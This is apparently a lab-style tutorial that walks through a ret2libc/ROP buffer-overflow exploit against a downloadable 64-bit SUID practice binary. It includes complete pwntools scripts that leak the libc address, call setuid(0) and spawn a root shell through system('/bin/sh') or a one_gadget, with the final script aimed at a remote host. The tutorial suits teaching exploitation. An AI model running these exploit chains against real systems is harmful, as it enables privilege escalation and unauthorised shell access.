64 Bit Binary ROP Exploitation

Introduction

* It is a 64 bit dynamically linked binary, nx and aslr is enabled *

There are many things to be done in binary analyzation but I will just mainly focus on Ret2Libc attack.
You can use many other tools but I will use those mainly.

  • pwntools (python library)
  • A reverse engineering tool (gHidra , IDA etc.)
  • gdb-peda
  • ldd
  • readelf
  • strings
  • objdump
  • ropper
  • one_gadget

Analyzation

First thing first,
We need to analyze our binary in order to determine what kind of attack vector we need to use

The program uses gets() to check password from user. As linux manual shows its a pretty vulnerable function. If we can control this and overflow it, that would be perfect

Although this program has suid bit set, it doesn’t call setuid function. Which means we will need to call it manually, if we are planning to perform a privilege escalation attack

NX is enabled

We can’t just directly overflow the buffer and drop to a shellcode.
Cool, what can we do about it then ? We can do Ret2Libc ofc

We first need to find our binaries’ libc.so file because we will be jumping to it
Matching libc files with remote is important because our exploit might not work remote as libcs can be different

After finding this, I will work on it locally

Analyzing registers and buffer

Crashed the program with longer input than it supposed to take (overflowed the buffer)

Analyzing the base pointer ( * the arrow for stack is in wrong direction, * )

As you can see, peda told us that RBP was in the offset 128. As i explained in my previous post,

RET comes after RBP. Therefore, we can just say that our buffer should be 128 + 8 = 136 byte long and I also showed it with RSP and stack state.

We need to leak some functions from the binary in order to find where libc is located at
By simply giving got of puts as argument to puts we can leak it

1
rop_chain = buf + pop_rdi + got_put + plt_put + plt_main

Now if we recieve the next main call we will recieve the leaked offset of the function puts.

Finding Offsets

Offsets can be found manually, but I will use pwn tools for it when developing the exploit

We need to use “pop rdi; ret” in order to execute next instruction

Calling main after overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

p = process("./vuln")
context(os="linux", arch="amd64")
binary = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

JUNK = "A" * 136
main = p64(binary.symbols['main'])
got_puts = p64(binary.got['puts'])
plt_puts = p64(binary.plt['puts'])
pop_rdi = p64(0x40179b)

payload = JUNK
payload += pop_rdi
payload += got_puts
payload += plt_puts
payload += main

p.sendline(payload)
p.recvline()
p.recvline()

leaked_puts = u64(p.recvline().strip().ljust(8, "\x00"))
libc_puts = libc.symbols['puts']
libc.address = leaked_puts - libc_puts
log.success("Leaked puts : {}".format(hex(leaked_puts)))
log.success("Libc at : {}".format(hex(libc.address)))

p.interactive()

We succesfully called the main one more time with overwriting the RET, leaked the puts and calculated libc address!

Executing /bin/sh

As I said before you can find those offsets manually but I will use pwn tools for it

Second stage will be like this.

1
rop_chain = buf + pop_rdi + sh + sys
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

p = process("./vuln")
context(os="linux", arch="amd64")
binary = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

JUNK = "A" * 136
main = p64(binary.symbols['main'])
got_puts = p64(binary.got['puts'])
plt_puts = p64(binary.plt['puts'])
pop_rdi = p64(0x40179b)

payload = JUNK
payload += pop_rdi
payload += got_puts
payload += plt_puts
payload += main

p.sendline(payload)
p.recvline()
p.recvline()

leaked_puts = u64(p.recvline().strip().ljust(8, "\x00"))
libc_puts = libc.symbols['puts']
libc.address = leaked_puts - libc_puts
log.success("Leaked puts : {}".format(hex(leaked_puts)))
log.success("Libc at : {}".format(hex(libc.address)))


payload = JUNK
payload += pop_rdi
payload += p64(libc.search("/bin/sh").next())
payload += p64(libc.symbols['system'])
payload += p64(libc.symbols['exit'])

p.sendline(payload)

p.interactive()

Boom, we dropped to a shell locally.

Remote

In order to access the binary externally, we need to expose it. You can use netcat and some other tools as well but I will be using socat.

1
socat TCP4-LISTEN:7001,reuseaddr,fork EXEC:/usr/bin/vuln,stderr

We will need to change offsets now as remote is different, you can simply modify libc in the script

one_gadget

I won’t use classic system + /bin/sh now, I will switch to one_gadget

It basically finds you a gadget that gives you a shell in libc

Github Link

Thanks to Layle for teaching me this great trick.

1
2
one_gadget = p64(libc.address + 0x4f2c5) 
rop_chain = JUNK + one_gadget

Boom! but wait what??, why aren’t we root?

As I mentioned before, although this binary has SUID bit set it doesn’t call setuid function

Calling setuid()

We will return to main one more time. I don’t know why it is exactly happening but you can’t just directly call setuid in one chain. You need to do one more chain.

1
2
3
4
5
payload = JUNK
payload += pop_rdi
payload += p64(0x0)
payload += p64(libc.symbols['setuid'])
payload += p64(binary.symbols['main'])

p64(0x0),0x00000000000, is pretty important. It is the argument of setuid(). We will set it to 0 as root is 0.

Last chain

1
2
rop_chain = JUNK + one_gadget
p.sendline(rop_chain)

We succesfully created our exploit, enjoy your root shell !!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

p = remote('10.10.10.101',7001)
context(os="linux", arch="amd64")
binary = ELF('./vuln')
libc = ELF('./libc.so.6')


###### STAGE 1 #######
JUNK = "A" * 136
main = p64(binary.symbols['main'])
got_puts = p64(binary.got['puts'])
plt_puts = p64(binary.plt['puts'])
pop_rdi = p64(0x40179b)

payload = JUNK
payload += pop_rdi
payload += got_puts
payload += plt_puts
payload += main

p.sendline(payload)
p.recvline()
p.recvline()

leaked_puts = u64(p.recvline().strip().ljust(8, "\x00"))
libc_puts = libc.symbols['puts']
libc.address = leaked_puts - libc_puts
log.success("Leaked puts : {}".format(hex(leaked_puts)))
log.success("Libc at : {}".format(hex(libc.address)))

###### STAGE 2 #######
payload = JUNK
payload += pop_rdi
payload += p64(0x0)
payload += p64(libc.symbols['setuid'])
payload += p64(binary.symbols['main'])

p.sendline(payload)

###### STAGE 3 #######
one_gadget = p64(libc.address + 0x4f2c5)
payload = JUNK + one_gadget

p.sendline(payload)
p.interactive()

Thank you for making out here. If you have any questions, please let me know.

Download

vuln.zip